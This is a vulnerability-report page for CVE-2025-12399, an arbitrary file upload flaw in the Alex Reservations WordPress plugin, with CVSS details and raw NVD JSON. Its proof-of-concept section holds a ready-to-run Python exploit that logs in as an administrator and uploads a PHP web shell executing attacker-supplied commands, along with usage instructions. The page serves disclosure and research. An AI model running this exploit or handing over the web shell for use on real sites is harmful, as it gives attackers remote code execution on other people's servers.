Security Vulnerability Report
中文
CVE-2025-12399 CVSS 7.2 HIGH

CVE-2025-12399

Published: 2025-11-08 10:15:41
Last Modified: 2026-04-15 00:35:42

Description

The Alex Reservations: Smart Restaurant Booking plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the /wp-json/srr/v1/app/upload/file REST endpoint in all versions up to, and including, 2.2.3. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Alex Reservations: Smart Restaurant Booking <= 2.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12399 PoC - Alex Reservations Arbitrary File Upload # Target: WordPress site with Alex Reservations plugin <= 2.2.3 def exploit_file_upload(target_url, username, password, file_content): """ Exploit for CVE-2025-12399: Arbitrary file upload in Alex Reservations plugin Args: target_url: Target WordPress site URL username: WordPress administrator username password: WordPress administrator password file_content: Content of the file to upload Returns: dict: Response information """ # Setup session session = requests.Session() # WordPress login to get authentication cookies login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Logging in to {target_url}...") response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed!") return None print("[+] Authentication successful!") # Prepare malicious file upload upload_url = f"{target_url}/wp-json/srr/v1/app/upload/file" files = { 'file': ('shell.php', file_content, 'application/x-php') } print(f"[*] Uploading malicious file to {upload_url}...") try: response = session.post(upload_url, files=files, timeout=30) if response.status_code == 200: print("[+] File upload appears successful!") print(f"[*] Response: {response.text}") return response.json() else: print(f"[-] Upload failed with status code: {response.status_code}") print(f"[*] Response: {response.text}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return None # Example PHP shell content php_shell = "<?php\nif(isset($_GET['cmd'])){\n echo '<pre>';\n system($_GET['cmd']);\n echo '</pre>';\n}\n?>" if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-12399.py <target_url> <username> <password>") print("Example: python cve-2025-12399.py http://example.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_file_upload(target, user, pwd, php_shell)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12399", "sourceIdentifier": "[email protected]", "published": "2025-11-08T10:15:41.383", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Alex Reservations: Smart Restaurant Booking plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the /wp-json/srr/v1/app/upload/file REST endpoint in all versions up to, and including, 2.2.3. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://github.com/d0n601/CVE-2025-12399", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L11", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3390614/", "source": "[email protected]"}, {"url": "https://ryankozak.com/posts/cve-2025-12399/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f2d97646-27a8-4302-be70-7b4fb1a12300?source=cve", "source": "[email protected]"}]}}